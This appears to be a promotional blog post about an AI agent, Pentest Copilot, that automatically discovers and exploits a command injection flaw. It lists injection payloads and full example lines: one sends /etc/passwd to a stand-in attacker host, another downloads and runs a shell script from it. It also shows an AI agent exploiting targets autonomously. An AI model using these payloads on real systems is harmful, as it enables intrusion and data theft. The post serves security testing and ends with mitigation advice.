Pentest Copilot Finds and Exploits a Command Injection Bug Automatically

Command injection remains one of the most devastating classes of vulnerabilities. When exploited, it allows attackers to execute arbitrary system commands on the server, often leading to full compromise. Traditionally, discovering these flaws requires meticulous input testing, payload crafting, and careful validation. But what if this entire process—from discovery to exploitation—could be automated? This is exactly what Pentest Copilot demonstrates in the following proof-of-concept: an AI-driven agent that scans, generates test cases, executes payloads, validates execution, and maps the full kill chain—end-to-end.

by Kathan Desai

August 20, 2025

Step 1: Enumerating Input Vectors

The AI agent begins by scanning the target web application for user input points such as:

Query parameters (?id=1)
POST body parameters (productId=1&storeId=2)
HTTP headers (User-Agent, Referer, etc.)
Form fields

Using the ACTV_GOAL_GENERATOR and ACTV_CRAWLER modules, Pentest Copilot automatically maps the routes to potential injection surfaces. Instead of blindly crawling, it uses a goal-based crawler—designed to identify and prioritize parameters likely to influence server-side execution.

In the graph view, each node represents a discovery step: Target → Page → Parameter. By the end of this stage, the system has a structured map of all reachable input vectors.

Step 2: Injecting Payloads

Next, the AI launches fuzzing with common command injection payloads:

1storeId=1; id
2storeId=1 && uname -a
3storeId=1 || whoami
4

The ACTV_TEST_GENERATOR automatically creates test cases for different vulnerability categories. At this point, you can see payloads like 1;id and 1 && uname -a being fired against the backend.

Pentest Copilot observes outputs and status codes for anomalies such as:

200 OK responses with injected output in the body
Time delays (suggesting blind injection)
System-level artifacts like uid=1000, Linux, or /home/ paths

Step 3: Validating Execution

Payloads alone are not proof of compromise. To avoid false positives, Pentest Copilot parses responses for OS-level artifacts such as:

uid=1000(user)
Hostnames (WIN-SERVER01)
Kernel strings (Linux version 5.x)

An AI validation layer filters noise and confirms genuine execution, ensuring that testers do not chase false positives from error pages or reflected input.

At 8:06 in the demo, the response body clearly includes the output of the injected id command, confirming the vulnerability.

Step 4: Exploiting the Vulnerability

Once validated, exploitation is straightforward. Pentest Copilot escalates payloads beyond reconnaissance:

Data exfiltration:

1storeId=1; curl attacker.com/exfil --data @/etc/passwd
2

Malware delivery:

1storeId=1; wget attacker.com/agent.sh -O /tmp/agent.sh && bash /tmp/agent.sh
2

Privilege escalation preparation: fetching sensitive config files, SSH keys, or environment variables.

This step demonstrates how a simple injection can pivot into Remote Code Execution (RCE) with full post-exploitation potential.

Step 5: Reporting the Finding

All results are automatically logged, structured, and categorized. A sample auto-generated report looks like this:

Title: Command Injection in storeId parameter
Type: Remote Code Execution
Severity: CRITICAL (CVSS 9.8)
Tags: Command Injection, RCE
Payload: storeId=1; id
Affected Endpoint: /product/stock
Status: Confirmed and Reproducible

This machine-generated report ensures consistent reproducibility—critical for bug bounty submissions, compliance audits, and penetration testing reports.

Step 6: Mapping the Kill Chain

Finally, Pentest Copilot auto-generates an attack graph, linking each phase:

Target Domain → Endpoint → Parameter → Payload → Execution

Metadata is also preserved, including:

Target server IP
Shell type (Bash, CMD, PowerShell)
Response fingerprint (headers, timing, error signatures)

This graph provides both a visual and data-driven representation of the kill chain, making it easier for defenders to trace the exploit path and for researchers to demonstrate impact.

Why This Matters

Command injection is ranked CWE-77 and OWASP Top 10: Injection for a reason—it is simple to exploit and catastrophic in impact. Pentest Copilot’s autonomous detection and exploitation reduces the manual effort from hours to minutes while maintaining precision.

For security researchers and red teamers, this means:

Faster vulnerability discovery
Reduced false positives
Richer attack graphs for reporting and visualization
More time to focus on advanced exploitation rather than repetitive testing

References

FAQs

Q1. What is command injection?
It is a vulnerability where unsanitized input is passed directly into system commands, allowing attackers to run arbitrary code.

Q2. How does Pentest Copilot reduce false positives?
By validating responses for OS-level artifacts (for example, uid=, /etc/passwd) rather than relying solely on reflected input.

Q3. Can Pentest Copilot handle blind command injection?
Yes. It uses time-delay payloads (sleep 5, ping -c 5 attacker.com) to detect blind injection cases.

Q4. What is the difference between SQL injection and command injection?
SQL injection targets the database layer, while command injection executes commands directly on the underlying operating system.

Q5. How should developers mitigate command injection?

Use parameterized APIs instead of shell calls
Strictly validate or whitelist user input
Apply least privilege on application accounts
Monitor and log command executions